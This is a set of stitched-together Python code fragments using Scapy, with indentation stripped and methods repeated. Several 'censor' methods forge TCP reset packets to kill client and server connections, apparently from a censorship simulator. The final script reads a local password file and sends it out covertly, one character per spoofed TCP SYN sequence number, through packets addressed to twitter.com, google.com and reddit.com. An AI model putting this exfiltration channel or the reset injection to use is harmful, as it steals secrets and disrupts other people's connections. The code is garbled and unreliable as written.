def censor(self, scapy_packet):
"""
Send 5 resets to the client and the server.
"""
client_ip_rst = IP(src=scapy_packet[IP].dst, dst=scapy_packet[IP].src)
client_tcp_rst = TCP(dport=scapy_packet[TCP].sport,
sport=scapy_packet[TCP].dport,
ack=scapy_packet[TCP].seq +
len(str(scapy_packet[TCP].payload)),
seq=scapy_packet[TCP].ack,
flags="R")
client_rst = client_ip_rst / client_tcp_rst
server_ip_rst = IP(src=self.censor_ip, dst=scapy_packet[IP].dst)
server_tcp_rst = TCP(dport=scapy_packet[TCP].dport,
sport=scapy_packet[TCP].sport,
ack=scapy_packet[TCP].ack,
seq=scapy_packet[TCP].seq,
flags="R")
server_tcp_rst.show()
server_rst = server_ip_rst / server_tcp_rst
for _ in range(0, 5):
self.mysend(client_rst)
self.mysend(server_rst)
def censor(self, scapy_packet):
"""
Send 5 resets to the server.
"""
server_ip_rst = IP(src=self.censor_ip, dst=scapy_packet[IP].dst)
server_tcp_rst = TCP(dport=scapy_packet[TCP].dport,
sport=scapy_packet[TCP].sport,
ack=scapy_packet[TCP].ack,
seq=scapy_packet[TCP].seq,
flags="R")
server_tcp_rst.show()
server_rst = server_ip_rst / server_tcp_rst
for _ in range(0, 5):
self.mysend(server_rst)
class TCPLayer(object):
"""docstring for TCPLayer"""
def __init__(self, arguments={}):
# super(IPLayer, self).__init__()
self.packet = None
if not isinstance(arguments, dict): return "Please provide a dictionay"
self.arguments = arguments
def make(self):
self.packet = TCP()
for param in self.arguments:
if not hasattr(self.packet, param): continue
setattr(self.packet, param , self.arguments[param])
return self
def updatePacket(self, arguments={}):
if not isinstance(arguments, dict): return "Please provide a dictionay"
for param in arguments:
if not hasattr(self.packet, param): continue
setattr(self.packet, param , arguments[param])
return self
def getPacket(self):
return self.packet
def show(self):
return self.packet.show()
def _getTCP(self):
return TCP()
def censor(self, scapy_packet):
"""
Adds client and server IPs to flagged IP list.
"""
if scapy_packet["IP"].src not in self.flagged_ips:
self.flagged_ips.append(scapy_packet["IP"].src)
self.logger.debug("Marking IP %s for dropping..." % scapy_packet["IP"].src)
if scapy_packet["IP"].dst not in self.flagged_ips:
self.flagged_ips.append(scapy_packet["IP"].dst)
self.logger.debug("Marking IP %s for dropping..." % scapy_packet["IP"].dst)
client_ip_rst = IP(src=scapy_packet[IP].dst, dst=scapy_packet[IP].src)
client_tcp_rst = TCP(
dport=scapy_packet[TCP].sport,
sport=scapy_packet[TCP].dport,
ack=scapy_packet[TCP].seq+len(str(scapy_packet[TCP].payload)),
seq=scapy_packet[TCP].ack,
flags="R"
)
client_rst = client_ip_rst / client_tcp_rst
server_ip_rst = IP(src=self.censor_ip, dst=scapy_packet[IP].dst)
server_tcp_rst = TCP(
dport=scapy_packet[TCP].dport,
sport=scapy_packet[TCP].sport,
ack=scapy_packet[TCP].ack,
seq=scapy_packet[TCP].seq,
flags="R"
)
server_tcp_rst.show()
server_rst = server_ip_rst / server_tcp_rst
for _ in range(0, 5):
self.mysend(client_rst)
self.mysend(server_rst)
return "accept"
#! /usr/bin/env python
from scapy.all import TCP, IP, send
import time
src_naame = '10.0.2.15' # Enter ip of listener
src_port = 666 # Enter port on which listener iss listening
i = 0
sn = 70
f = open("/home/MadMaxx/Desktop/psswd.txt", 'r')
webs = ['twitter.com', 'google.com', 'reddit.com']
for line in f.readlines():
for c in line:
serv = webs[i]
ip = IP(dst=serv, src=src_naame)
p = sn * 1000 + ord(c)
tcp = TCP(sport=src_port, dport=443, flags='S', seq=p)
send(ip / tcp)
ip.show()
tcp.show()
time.sleep(0.5)
send(ip / TCP(dport=443, flags='F'))
sn += 1
if i + 1 == len(webs):
i = 0
else:
i += 1
